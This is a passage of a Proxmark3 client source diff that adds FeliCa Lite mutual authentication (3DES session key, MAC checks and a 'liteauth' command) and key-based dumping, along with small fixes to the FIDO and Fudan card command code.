msleep(300); break; } @@ -1868,6 +2157,613 @@ static int CmdHFFelicaSimLite(const char *Cmd) { return PM3_SUCCESS; } +static int felica_make_block_list(uint16_t *out, const uint8_t *blk_numbers, const size_t length) { + if (length > 4) { + PrintAndLogEx(ERR, "felica_make_block_list: exceeds max size"); + return PM3_EINVARG; + } + + uint16_t tmp[4]; + memset(tmp, 0, sizeof(tmp)); + + for (size_t i = 0; i < length; i++) { + tmp[i] = (uint16_t)(blk_numbers[i] << 8) | 0x80; + } + memcpy(out, tmp, length * sizeof(uint16_t)); + + return PM3_SUCCESS; +} + +static int read_without_encryption( + const uint8_t *idm, + const uint8_t num, + const uint8_t *blk_numbers, + uint8_t *out, + uint16_t *n) { + + felica_read_request_haeder_t request = { + .command_code = { 0x06 }, + .number_of_service = { 1 }, + .service_code_list = { 0x00B }, + .number_of_block = { num }, + }; + memcpy(request.IDm, idm, sizeof(request.IDm)); + + uint16_t svc[num]; + int ret = felica_make_block_list(svc, blk_numbers, num); + if (ret) { + return PM3_EINVARG; + } + + size_t hdr_size = sizeof(request); + uint16_t size = hdr_size + sizeof(svc) + 1; + *n = size; + + memcpy(out, &(uint8_t) { size }, sizeof(uint8_t)); + memcpy(out + 1, &request, hdr_size); + memcpy(out + hdr_size + 1, &svc, sizeof(svc)); + + return PM3_SUCCESS; +} + +static bool check_write_req_data(const felica_write_request_haeder_t *hdr, const uint8_t datalen) { + if (!hdr || !datalen) + return false; + + uint8_t num = *(hdr->number_of_block); + if (num != 1 && num != 2) + return false; + + // Check Block data size + if (num * 16 != datalen) + return false; + + return true; +} + +static int write_without_encryption( + const uint8_t *idm, + uint8_t num, + uint8_t *blk_numbers, + const uint8_t *data, + size_t datalen, + uint8_t *out, + uint16_t *n) { + + felica_write_request_haeder_t hdr = { + .command_code = { 0x08 }, + .number_of_service = { 1 }, + .service_code_list = { 0x009 }, + .number_of_block = { num }, + }; + memcpy(hdr.IDm, idm, sizeof(hdr.IDm)); + + uint8_t dl = (uint8_t)(datalen); + + if (check_write_req_data(&hdr, dl) == false) { + PrintAndLogEx(FAILED, "invalid request"); + return PM3_EINVARG; + } + + uint16_t blk[num]; + int ret = felica_make_block_list(blk, blk_numbers, num); + if (ret) { + return PM3_EINVARG; + } + + + size_t hdr_size = sizeof(hdr); + size_t offset = hdr_size + (num * 2) + 1; + + uint8_t size = hdr_size + sizeof(blk) + dl + 1; + *n = size; + + memcpy(out, &(uint8_t) { size }, sizeof(uint8_t)); + memcpy(out + 1, &hdr, hdr_size); + memcpy(out + hdr_size + 1, &blk, sizeof(blk)); + memcpy(out + offset, data, dl); + + return PM3_SUCCESS; +} + +static int parse_multiple_block_data(const uint8_t *data, const size_t datalen, uint8_t *out, uint8_t *outlen) { + if (datalen < 3) { + PrintAndLogEx(ERR, "\ndata size must be at least 3 bytes"); + return PM3_EINVARG; + } + + felica_status_response_t res; + memcpy(&res, data, sizeof(res)); + + uint8_t empty[8] = {0}; + + if (!memcmp(res.frame_response.IDm, empty, sizeof(empty))) { + PrintAndLogEx(ERR, "internal error"); + return PM3_ERFTRANS; + } + + + if (res.status_flags.status_flag1[0] != 0x00 || res.status_flags.status_flag2[0] != 0x00) { + PrintAndLogEx(ERR, "error status"); + return PM3_ERFTRANS; + } + + size_t res_size = sizeof(res); + + uint8_t num = 0; + memcpy(&num, data + res_size, sizeof(uint8_t)); + res_size++; + + memcpy(out, data + res_size, num * FELICA_BLK_SIZE); + + if (outlen) { + *outlen = num * FELICA_BLK_SIZE; + } + + return PM3_SUCCESS; +} + +static int send_rd_multiple_plain(uint8_t flags, uint16_t datalen, uint8_t *data, uint8_t *out) { + clear_and_send_command(flags, datalen, data, false); + PacketResponseNG res; + if (waitCmdFelica(false, &res, false) == false) { + PrintAndLogEx(ERR, "\nGot no response from card"); + return PM3_ERFTRANS; + } + + uint8_t block_data[FELICA_BLK_SIZE * 4]; + memset(block_data, 0, sizeof(block_data)); + + uint8_t outlen = 0; + + int ret = parse_multiple_block_data(res.data.asBytes, sizeof(res.data.asBytes), block_data, &outlen); + if (ret) { + return PM3_ERFTRANS; + } + + memcpy(out, block_data, outlen); + + return PM3_SUCCESS; +} + +static int felica_auth_context_init( + mbedtls_des3_context *ctx, + const uint8_t *rc, + const size_t rclen, + const uint8_t *key, + const size_t keylen, + felica_auth_context_t *auth_ctx) { + + int ret = PM3_SUCCESS; + + uint8_t rev_rc[16], rev_key[16]; + uint8_t encrypted_sk[16], rev_sk[16]; + uint8_t iv[8] = {0}; + + if (!ctx || !auth_ctx || rclen != 16 || keylen != 16) { + PrintAndLogEx(ERR, "\nfelica_auth_context_init: invalid parameters"); + return PM3_EINVARG; + } + + SwapEndian64ex(rc, sizeof(rev_rc), 8, rev_rc); + memcpy(auth_ctx->random_challenge, rev_rc, sizeof(auth_ctx->random_challenge)); + + SwapEndian64ex(key, sizeof(rev_key), 8, rev_key); + + if (mbedtls_des3_set2key_enc(ctx, rev_key) != 0) { + ret = PM3_ECRYPTO; + goto cleanup; + } + + if (mbedtls_des3_crypt_cbc(ctx, MBEDTLS_DES_ENCRYPT, 16, iv, rev_rc, encrypted_sk) != 0) { + ret = PM3_ECRYPTO; + goto cleanup; + } + + SwapEndian64ex(encrypted_sk, sizeof(encrypted_sk), 8, rev_sk); + + memcpy(auth_ctx->session_key, rev_sk, sizeof(auth_ctx->session_key)); + +cleanup: + mbedtls_platform_zeroize(rev_rc, sizeof(rev_rc)); + mbedtls_platform_zeroize(rev_key, sizeof(rev_key)); + mbedtls_platform_zeroize(iv, sizeof(iv)); + mbedtls_platform_zeroize(encrypted_sk, sizeof(encrypted_sk)); + mbedtls_platform_zeroize(rev_sk, sizeof(rev_sk)); + + return ret; +} + +static void felica_auth_context_free(felica_auth_context_t *auth_ctx) { + if (!auth_ctx) { + return; + } + + mbedtls_platform_zeroize(auth_ctx->session_key, sizeof(auth_ctx->session_key)); + mbedtls_platform_zeroize(auth_ctx->random_challenge, sizeof(auth_ctx->random_challenge)); +} + +static int felica_generate_mac( + mbedtls_des3_context *ctx, + const felica_auth_context_t *auth_ctx, + const uint8_t *initialize_block, + const uint8_t *block_data, + const size_t length, + bool use_read_key, + uint8_t *mac) { + + int ret = PM3_SUCCESS; + + uint8_t rev_sk[FELICA_BLK_SIZE]; + uint8_t iv[8], rev_block[8], out[8]; + + if (!ctx || !auth_ctx || !initialize_block || !block_data || !mac) { + return PM3_EINVARG; + } + + if (length % FELICA_BLK_HALF != 0) { + return PM3_EINVARG; + } + + uint8_t sk[FELICA_BLK_SIZE]; + + if (use_read_key == false) { + memcpy(sk, auth_ctx->session_key + 8, 8); + memcpy(sk + 8, auth_ctx->session_key, 8); + } else { + memcpy(sk, auth_ctx->session_key, sizeof(auth_ctx->session_key)); + } + + SwapEndian64ex(sk, sizeof(sk), 8, rev_sk); + + memcpy(iv, auth_ctx->random_challenge, sizeof(iv)); + + SwapEndian64ex(initialize_block, sizeof(rev_block), 8, rev_block); + + if (mbedtls_des3_set2key_enc(ctx, rev_sk) != 0) { + ret = PM3_ECRYPTO; + goto cleanup; + } + + for (int i = 0; i <= length; i += 8) { + if (mbedtls_des3_crypt_cbc(ctx, MBEDTLS_DES_ENCRYPT, sizeof(rev_block), iv, rev_block, out) != 0) { + ret = PM3_ECRYPTO; + goto cleanup; + } + memcpy(iv, out, sizeof(iv)); + SwapEndian64ex(block_data + i, 8, 8, rev_block); + } + + SwapEndian64ex(out, FELICA_BLK_HALF, 8, mac); + +cleanup: + mbedtls_platform_zeroize(sk, sizeof(sk)); + mbedtls_platform_zeroize(rev_sk, sizeof(rev_sk)); + mbedtls_platform_zeroize(iv, sizeof(iv)); + mbedtls_platform_zeroize(out, sizeof(out)); + mbedtls_platform_zeroize(rev_block, sizeof(rev_block)); + + return ret; +} + +static int write_with_mac( + mbedtls_des3_context *ctx, + const felica_auth_context_t *auth_ctx, + const uint8_t *counter, + const uint8_t blk_number, + const uint8_t *block_data, + uint8_t *out) { + + uint8_t initialize_blk[FELICA_BLK_HALF]; + memset(initialize_blk, 0, sizeof(initialize_blk)); + + uint8_t wcnt[3]; + memcpy(wcnt, counter, 3); + + memcpy(initialize_blk, wcnt, sizeof(wcnt)); + initialize_blk[4] = blk_number; + initialize_blk[6] = 0x91; + + uint8_t mac[FELICA_BLK_HALF]; + + int ret = felica_generate_mac(ctx, auth_ctx, initialize_blk, block_data, FELICA_BLK_SIZE, false, mac); + if (ret != PM3_SUCCESS) { + return ret; + } + + uint8_t payload[FELICA_BLK_SIZE * 2]; + memset(payload, 0, sizeof(payload)); + + memcpy(payload, block_data, FELICA_BLK_SIZE); + memcpy(payload + FELICA_BLK_SIZE, mac, sizeof(mac)); + memcpy(payload + FELICA_BLK_SIZE + sizeof(mac), wcnt, sizeof(wcnt)); + + memcpy(out, payload, sizeof(payload)); + + return PM3_SUCCESS; +} + +static int felica_internal_authentication( + const uint8_t *idm, + const uint8_t *rc, + const size_t rclen, + mbedtls_des3_context *ctx, + const felica_auth_context_t *auth_ctx, + bool verbose) { + + uint8_t data[PM3_CMD_DATA_SIZE]; + memset(data, 0, sizeof(data)); + + uint8_t blk_numbers[1] = {FELICA_BLK_NUMBER_RC}; + + uint16_t datalen = 0; + + int ret = write_without_encryption(idm, (uint8_t)sizeof(blk_numbers), blk_numbers, rc, rclen, data, &datalen); + if (ret) { + return PM3_ERFTRANS; + } + + AddCrc(data, datalen); + datalen += 2; + + uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW | FELICA_NO_DISCONNECT); + + felica_status_response_t res; + if (send_wr_plain(flags, datalen, data, false, &res) != PM3_SUCCESS) { + return PM3_ERFTRANS; + } + + if (res.status_flags.status_flag1[0] != 0x00 && res.status_flags.status_flag2[0] != 0x00) { + PrintAndLogEx(ERR, "\nError RC Write"); + return PM3_ERFTRANS; + } + + memset(data, 0, sizeof(data)); + + uint8_t blk_numbers2[2] = {FELICA_BLK_NUMBER_ID, FELICA_BLK_NUMBER_MACA}; + + ret = read_without_encryption(idm, (uint8_t)sizeof(blk_numbers2), blk_numbers2, data, &datalen); + if (ret) { + return PM3_ERFTRANS; + } + + AddCrc(data, datalen); + datalen += 2; + + uint8_t pd[FELICA_BLK_SIZE * sizeof(blk_numbers2)]; + memset(pd, 0, sizeof(pd)); + + ret = send_rd_multiple_plain(flags, datalen, data, pd); + if (ret) { + return PM3_ERFTRANS; + } + + uint8_t id_blk[FELICA_BLK_SIZE]; + memcpy(id_blk, pd, FELICA_BLK_SIZE); + + uint8_t mac_blk[FELICA_BLK_SIZE]; + memcpy(mac_blk, pd + FELICA_BLK_SIZE, FELICA_BLK_SIZE); + + uint8_t initialize_blk[8]; + memset(initialize_blk, 0xFF, sizeof(initialize_blk)); + + initialize_blk[0] = FELICA_BLK_NUMBER_ID; + initialize_blk[1] = 0x00; + initialize_blk[2] = FELICA_BLK_NUMBER_MACA; + initialize_blk[3] = 0x00; + + uint8_t mac[FELICA_BLK_HALF]; + + ret = felica_generate_mac(ctx, auth_ctx, initialize_blk, id_blk, sizeof(id_blk), true, mac); + if (ret) { + return PM3_ERFTRANS; + } + + if (verbose) { + PrintAndLogEx(SUCCESS, "MAC_A: %s", sprint_hex(mac, sizeof(mac))); + } + + if (memcmp(mac_blk, mac, FELICA_BLK_HALF) != 0) { + PrintAndLogEx(ERR, "\nInternal Authenticate: " _RED_("Failed")); + return PM3_ERFTRANS; + } + + PrintAndLogEx(SUCCESS, "Internal Authenticate: " _GREEN_("OK")); + + return PM3_SUCCESS; +} + +static int felica_external_authentication( + const uint8_t *idm, + mbedtls_des3_context *ctx, + const felica_auth_context_t *auth_ctx, + bool keep) { + + uint8_t data[PM3_CMD_DATA_SIZE_MIX]; + memset(data, 0, sizeof(data)); + + uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW | FELICA_NO_DISCONNECT); + + uint16_t datalen = 0; + + uint8_t blk_numbers[1] = {FELICA_BLK_NUMBER_WCNT}; + + int ret = read_without_encryption(idm, (uint8_t)sizeof(blk_numbers), blk_numbers, data, &datalen); + if (ret) { + return PM3_ERFTRANS; + } + + AddCrc(data, datalen); + datalen += 2; + + uint8_t wcnt_blk[FELICA_BLK_SIZE]; + ret = send_rd_multiple_plain(flags, datalen, data, wcnt_blk); + if (ret) { + return PM3_ERFTRANS; + } + + uint8_t ext_auth[FELICA_BLK_SIZE]; + memset(ext_auth, 0, sizeof(ext_auth)); + + ext_auth[0] = 1; // After Authenticate + + uint8_t mac_w[FELICA_BLK_SIZE * 2]; + + ret = write_with_mac(ctx, auth_ctx, wcnt_blk, FELICA_BLK_NUMBER_STATE, ext_auth, mac_w); + if (ret) { + return PM3_ERFTRANS; + } + + uint8_t blk_numbers2[2] = {FELICA_BLK_NUMBER_STATE, FELICA_BLK_NUMBER_MACA}; + + ret = write_without_encryption(idm, (uint8_t)sizeof(blk_numbers2), blk_numbers2, mac_w, sizeof(mac_w), data, &datalen); + if (ret) { + return PM3_ERFTRANS; + } + + AddCrc(data, datalen); + datalen += 2; + + if (keep == false) { + flags &= ~FELICA_NO_DISCONNECT; + } + + felica_status_response_t res; + if (send_wr_plain(flags, datalen, data, false, &res) != PM3_SUCCESS) { + return PM3_ERFTRANS; + } + + if (res.status_flags.status_flag1[0] != 0x00 && res.status_flags.status_flag2[0] != 0x00) { + PrintAndLogEx(ERR, "\nExternal Authenticate: " _RED_("Failed")); + return PM3_ERFTRANS; + } + + PrintAndLogEx(SUCCESS, "External Authenticate: " _GREEN_("OK")); + + return PM3_SUCCESS; +} + +static int felica_mutual_authentication( + const uint8_t *idm, + const uint8_t *rc, + const size_t rclen, + const uint8_t *key, + const size_t keylen, + bool keep, + bool verbose) { + + int ret = PM3_SUCCESS; + + mbedtls_des3_context des3_ctx; + mbedtls_des3_init(&des3_ctx); + + felica_auth_context_t auth_ctx; + + ret = felica_auth_context_init(&des3_ctx, rc, rclen, key, keylen, &auth_ctx); + if (ret) { + goto cleanup; + } + + if (verbose) { + PrintAndLogEx(INFO, "Session Key(SK): %s", sprint_hex(auth_ctx.session_key, sizeof(auth_ctx.session_key))); + } + + ret = felica_internal_authentication(idm, rc, rclen, &des3_ctx, &auth_ctx, verbose); + if (ret) { + goto cleanup; + } + + ret = felica_external_authentication(idm, &des3_ctx, &auth_ctx, keep); + if (ret) { + goto cleanup; + } + +cleanup: + mbedtls_des3_free(&des3_ctx); + felica_auth_context_free(&auth_ctx); + + return ret; +} + +/** + * Command parser for liteauth. + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaAuthenticationLite(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf felica liteauth", + "Authenticate", + "hf felica liteauth -i 11100910C11BC407\n" + "hf felica liteauth --key 46656c69436130313233343536616263\n" + "hf felica liteauth --key 46656c69436130313233343536616263 -k\n" + "hf felica liteauth -c 701185c59f8d30afeab8e4b3a61f5cc4 --key 46656c69436130313233343536616263" + ); + void *argtable[] = { + arg_param_begin, + arg_str0(NULL, "key", "", "set card key, 16 bytes"), + arg_str0("c", "", "", "set random challenge, 16 bytes"), + arg_str0("i", "", "", "set custom IDm"), + arg_lit0("k", "", "keep signal field ON after receive"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + uint8_t key[FELICA_BLK_SIZE]; + memset(key, 0, sizeof(key)); + int keylen = 0; + int res = CLIParamHexToBuf(arg_get_str(ctx, 1), key, sizeof(key), &keylen); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint8_t rc[FELICA_BLK_SIZE]; + memset(rc, 0, sizeof(rc)); + int rclen = 0; + res = CLIParamHexToBuf(arg_get_str(ctx, 2), rc, sizeof(rc), &rclen); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint8_t idm[8]; + memset(idm, 0, sizeof(idm)); + int ilen = 0; + res = CLIParamHexToBuf(arg_get_str(ctx, 3), idm, sizeof(idm), &ilen); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + bool keep_field_on = arg_get_lit(ctx, 4); + + CLIParserFree(ctx); + + if (!ilen) { + if (last_known_card.IDm[0] != 0 && last_known_card.IDm[1] != 0) { + memcpy(idm, last_known_card.IDm, sizeof(idm)); + } else { + PrintAndLogEx(WARNING, "No last known card! Use `" _YELLOW_("hf felica reader") "` first or set a custom IDm"); + return PM3_EINVARG; + } + } + + int ret = PM3_SUCCESS; + + PrintAndLogEx(INFO, "Card Key: %s", sprint_hex(key, sizeof(key))); + PrintAndLogEx(INFO, "Random Challenge(RC): %s", sprint_hex(rc, sizeof(rc))); + + PrintAndLogEx(SUCCESS, "FeliCa lite - auth started"); + + ret = felica_mutual_authentication(idm, rc, sizeof(rc), key, sizeof(key), keep_field_on, true); + if (ret) { + return PM3_EINVARG; + } + + return PM3_SUCCESS; +} + static void printSep(void) { PrintAndLogEx(INFO, "------------------------------------------------------------------------------------"); } @@ -1881,9 +2777,15 @@ static uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace, uint16_t trac uint8_t status1 = trace[1]; uint8_t status2 = trace[2]; + bool error = (status1 != 0x00 && (status2 == 0xB1 || status2 == 0xB2)); + char line[110] = {0}; for (int j = 0; j < 16; j++) { - snprintf(line + (j * 4), sizeof(line) - 1 - (j * 4), "%02x ", trace[j + 3]); + if (error) { + snprintf(line + (j * 4), sizeof(line) - 1 - (j * 4), "?? "); + } else { + snprintf(line + (j * 4), sizeof(line) - 1 - (j * 4), "%02x ", trace[j + 3]); + } } PrintAndLogEx(NORMAL, "block number %02x, status: %02x %02x", blocknum, status1, status2); @@ -1931,13 +2833,17 @@ static uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace, uint16_t trac PrintAndLogEx(NORMAL, "S_PAD13: %s", line); break; case 0x0E: { - uint32_t regA = trace[3] | trace[4] << 8 | trace[5] << 16 | trace[ 6] << 24; + uint32_t regA = trace[3] | trace[4] << 8 | trace[5] << 16 | trace[6] << 24; uint32_t regB = trace[7] | trace[8] << 8 | trace[9] << 16 | trace[10] << 24; line[0] = 0; for (int j = 0; j < 8; j++) snprintf(line + (j * 2), sizeof(line) - 1 - (j * 2), "%02x", trace[j + 11]); - PrintAndLogEx(NORMAL, "REG: regA: %d regB: %d regC: %s ", regA, regB, line); + if (error) { + PrintAndLogEx(NORMAL, "REG: regA: ???????? regB: ???????? regC: ???????????????? "); + } else { + PrintAndLogEx(NORMAL, "REG: regA: %d regB: %d regC: %s ", regA, regB, line); + } } break; case 0x80: @@ -1997,7 +2903,7 @@ static uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace, uint16_t trac } break; case 0x90: { - PrintAndLogEx(NORMAL, "Write count, RO: %02x %02x %02x ", trace[3], trace[4], trace[5]); + PrintAndLogEx(NORMAL, "Write counter, RO: %02x %02x %02x ", trace[3], trace[4], trace[5]); } break; case 0x91: { @@ -2036,11 +2942,52 @@ static int CmdHFFelicaDumpLite(const char *Cmd) { ); void *argtable[] = { arg_param_begin, + arg_str0("i", "", "", "set custom IDm"), + arg_str0(NULL, "key", "", "set card key, 16 bytes"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); + + uint8_t idm[8]; + memset(idm, 0, sizeof(idm)); + int ilen = 0; + int res = CLIParamHexToBuf(arg_get_str(ctx, 1), idm, sizeof(idm), &ilen); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint8_t key[FELICA_BLK_SIZE]; + memset(key, 0, sizeof(key)); + int keylen = 0; + res = CLIParamHexToBuf(arg_get_str(ctx, 2), key, sizeof(key), &keylen); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + CLIParserFree(ctx); + if (keylen != 0) { + if (!ilen) { + if (last_known_card.IDm[0] != 0 && last_known_card.IDm[1] != 0) { + memcpy(idm, last_known_card.IDm, sizeof(idm)); + } else { + PrintAndLogEx(WARNING, "No last known card! Use `" _YELLOW_("hf felica reader") "` first or set a custom IDm"); + return PM3_EINVARG; + } + } + + uint8_t rc[FELICA_BLK_SIZE] = {0}; + + int ret = felica_mutual_authentication(idm, rc, sizeof(rc), key, sizeof(key), true, false); + if (ret) { + PrintAndLogEx(WARNING, "Authenticate Failed"); + } + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "FeliCa lite - dump started"); clearCommandBuffer(); @@ -2054,7 +3001,7 @@ static int CmdHFFelicaDumpLite(const char *Cmd) { if (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - PrintAndLogEx(DEBUG, "User aborted"); + PrintAndLogEx(DEBUG, "\naborted via keyboard!"); return PM3_EOPABORTED; } @@ -2068,7 +3015,7 @@ static int CmdHFFelicaDumpLite(const char *Cmd) { return PM3_EOPABORTED; } if (timeout > 10) { - PrintAndLogEx(WARNING, "\ntimeout while waiting for reply."); + PrintAndLogEx(WARNING, "\ntimeout while waiting for reply"); DropField(); return PM3_ETIMEOUT; } @@ -2089,11 +3036,11 @@ static int CmdHFFelicaDumpLite(const char *Cmd) { uint8_t *trace = calloc(tracelen, sizeof(uint8_t)); if (trace == NULL) { - PrintAndLogEx(WARNING, "failed to allocate memory "); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } - if (!GetFromDevice(BIG_BUF, trace, tracelen, 0, NULL, 0, NULL, 2500, false)) { + if (GetFromDevice(BIG_BUF, trace, tracelen, 0, NULL, 0, NULL, 2500, false) == false) { PrintAndLogEx(WARNING, "command execution time out"); free(trace); return PM3_ETIMEOUT; @@ -2211,10 +3158,10 @@ static command_t CommandTable[] = { {"sniff", CmdHFFelicaSniff, IfPm3Felica, "Sniff ISO 18092/FeliCa traffic"}, {"wrbl", CmdHFFelicaWritePlain, IfPm3Felica, "write block data to an authentication-not-required Service."}, {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("FeliCa Standard") " -----------------------"}, - //{"dump", CmdHFFelicaDump, IfPm3Felica, "Wait for and try dumping FeliCa"}, + {"dump", CmdHFFelicaDump, IfPm3Felica, "Wait for and try dumping FeliCa"}, {"rqservice", CmdHFFelicaRequestService, IfPm3Felica, "verify the existence of Area and Service, and to acquire Key Version."}, {"rqresponse", CmdHFFelicaRequestResponse, IfPm3Felica, "verify the existence of a card and its Mode."}, - {"scsvcode", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire Area Code and Service Code."}, + {"scsvcode", CmdHFFelicaDumpServiceArea, IfPm3Felica, "acquire Area Code and Service Code."}, {"rqsyscode", CmdHFFelicaRequestSystemCode, IfPm3Felica, "acquire System Code registered to the card."}, {"auth1", CmdHFFelicaAuthentication1, IfPm3Felica, "authenticate a card. Start mutual authentication with Auth1"}, {"auth2", CmdHFFelicaAuthentication2, IfPm3Felica, "allow a card to authenticate a Reader/Writer. Complete mutual authentication"}, @@ -2231,6 +3178,7 @@ static command_t CommandTable[] = { //{"uprandomid", CmdHFFelicaNotImplementedYet, IfPm3Felica, "update Random ID (IDr)."}, {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("FeliCa Light") " -----------------------"}, {"litesim", CmdHFFelicaSimLite, IfPm3Felica, "Emulating ISO/18092 FeliCa Lite tag"}, + {"liteauth", CmdHFFelicaAuthenticationLite, IfPm3Felica, "authenticate a card."}, {"litedump", CmdHFFelicaDumpLite, IfPm3Felica, "Wait for and try dumping FelicaLite"}, // {"sim", CmdHFFelicaSim, IfPm3Felica, " -- Simulate ISO 18092/FeliCa tag"} {NULL, NULL, NULL, NULL} diff --git a/client/src/cmdhffelica.h b/client/src/cmdhffelica.h index 9cb524814..6ab42aa36 100644 --- a/client/src/cmdhffelica.h +++ b/client/src/cmdhffelica.h @@ -26,5 +26,6 @@ int CmdHFFelica(const char *Cmd); int read_felica_uid(bool loop, bool verbose); int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose); int send_rd_plain(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_read_without_encryption_response_t *rd_noCry_resp); +int send_dump_sv_plain(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_service_dump_response_t *dump_sv_resp, bool is_area); #endif diff --git a/client/src/cmdhffido.c b/client/src/cmdhffido.c index b54a5a712..54560354b 100644 --- a/client/src/cmdhffido.c +++ b/client/src/cmdhffido.c @@ -202,7 +202,7 @@ static int CmdHFFidoRegister(const char *cmd) { if (cpplain) { memset(cdata, 0x00, 32); - chlen = sizeof(cdata); + chlen = sizeof(cdata) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 5, cdata, &chlen); if (chlen > 16) { PrintAndLogEx(ERR, "ERROR: challenge parameter length in ASCII mode must be less than 16 chars instead of: %d", chlen); @@ -226,7 +226,7 @@ static int CmdHFFidoRegister(const char *cmd) { if (applain) { memset(adata, 0x00, 32); - applen = sizeof(adata); + applen = sizeof(adata) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 6, adata, &applen); if (applen > 16) { PrintAndLogEx(ERR, "ERROR: application parameter length in ASCII mode must be less than 16 chars instead of: %d", applen); @@ -245,8 +245,9 @@ static int CmdHFFidoRegister(const char *cmd) { return PM3_EINVARG; } } - if (applen) + if (applen) { memmove(&data[32], adata, 32); + } CLIParserFree(ctx); @@ -398,7 +399,7 @@ static int CmdHFFidoRegister(const char *cmd) { JsonSaveBufAsHexCompact(root, "KeyHandle", &buf[67], keyHandleLen); JsonSaveBufAsHexCompact(root, "DER", &buf[67 + keyHandleLen], derLen); - res = saveFileJSONrootEx(filename, root, JSON_INDENT(2), verbose, true); + res = saveFileJSONrootEx(filename, root, JSON_INDENT(2), verbose, true, spDump); (void)res; } json_decref(root); @@ -516,7 +517,7 @@ static int CmdHFFidoAuthenticate(const char *cmd) { if (cpplain) { memset(hdata, 0x00, 32); - hdatalen = sizeof(hdata); + hdatalen = sizeof(hdata) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 9, hdata, &hdatalen); if (hdatalen > 16) { PrintAndLogEx(ERR, "ERROR: challenge parameter length in ASCII mode must be less than 16 chars instead of: %d", hdatalen); @@ -542,7 +543,7 @@ static int CmdHFFidoAuthenticate(const char *cmd) { if (applain) { memset(hdata, 0x00, 32); - hdatalen = sizeof(hdata); + hdatalen = sizeof(hdata) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 10, hdata, &hdatalen); if (hdatalen > 16) { PrintAndLogEx(ERR, "ERROR: application parameter length in ASCII mode must be less than 16 chars instead of: %d", hdatalen); @@ -662,7 +663,7 @@ static int CmdHFFidoAuthenticate(const char *cmd) { JsonSaveBufAsHexCompact(root, "KeyHandle", &data[65], keyHandleLen); JsonSaveInt(root, "Counter", cntr); - res = saveFileJSONrootEx(filename, root, JSON_INDENT(2), verbose, true); + res = saveFileJSONrootEx(filename, root, JSON_INDENT(2), verbose, true, spDump); (void)res; } json_decref(root); @@ -783,7 +784,7 @@ static int CmdHFFido2MakeCredential(const char *cmd) { // parse returned cbor FIDO2MakeCredentionalParseRes(root, &buf[1], len - 1, verbose, verbose2, showCBOR, showDERTLV); - res = saveFileJSONrootEx(filename, root, JSON_INDENT(2), verbose, true); + res = saveFileJSONrootEx(filename, root, JSON_INDENT(2), verbose, true, spDump); (void)res; json_decref(root); return res; @@ -903,7 +904,7 @@ static int CmdHFFido2GetAssertion(const char *cmd) { // parse returned cbor FIDO2GetAssertionParseRes(root, &buf[1], len - 1, verbose, verbose2, showCBOR); - res = saveFileJSONrootEx(filename, root, JSON_INDENT(2), verbose, true); + res = saveFileJSONrootEx(filename, root, JSON_INDENT(2), verbose, true, spDump); (void)res; json_decref(root); return res; @@ -912,7 +913,8 @@ static int CmdHFFido2GetAssertion(const char *cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help."}, {"list", CmdHFFidoList, AlwaysAvailable, "List ISO 14443A history"}, - {"info", CmdHFFidoInfo, IfPm3Iso14443a, "Info about FIDO tag."}, + {"-----------", CmdHelp, IfPm3Iso14443a, "------------------- " _CYAN_("Operations") " -------------------"}, + {"info", CmdHFFidoInfo, IfPm3Iso14443a, "Tag information"}, {"reg", CmdHFFidoRegister, IfPm3Iso14443a, "FIDO U2F Registration Message."}, {"auth", CmdHFFidoAuthenticate, IfPm3Iso14443a, "FIDO U2F Authentication Message."}, {"make", CmdHFFido2MakeCredential, IfPm3Iso14443a, "FIDO2 MakeCredential command."}, diff --git a/client/src/cmdhffudan.c b/client/src/cmdhffudan.c index 3cefa86f0..817749353 100644 --- a/client/src/cmdhffudan.c +++ b/client/src/cmdhffudan.c @@ -71,6 +71,10 @@ static char *GenerateFilename(iso14a_card_select_t *card, const char *prefix, co return NULL; } char *fptr = calloc(sizeof(char) * (strlen(prefix) + strlen(suffix)) + sizeof(card->uid) * 2 + 1, sizeof(uint8_t)); + if (fptr == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return NULL; + } strcpy(fptr, prefix); FillFileNameByUID(fptr, card->uid, suffix, card->uidlen); return fptr; @@ -195,7 +199,7 @@ int read_fudan_uid(bool loop, bool verbose) { PrintAndLogEx(NORMAL, ""); } - } while (loop && kbd_enter_pressed() == false); + } while (loop && (kbd_enter_pressed() == false)); return PM3_SUCCESS; @@ -320,7 +324,7 @@ static int CmdHFFudanDump(const char *Cmd) { } } else { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "command execute timeout when trying to read block %2d", b); + PrintAndLogEx(WARNING, "command execution time out when trying to read block %2d", b); } } @@ -340,8 +344,9 @@ static int CmdHFFudanDump(const char *Cmd) { // create filename if none was given if (strlen(dataFilename) < 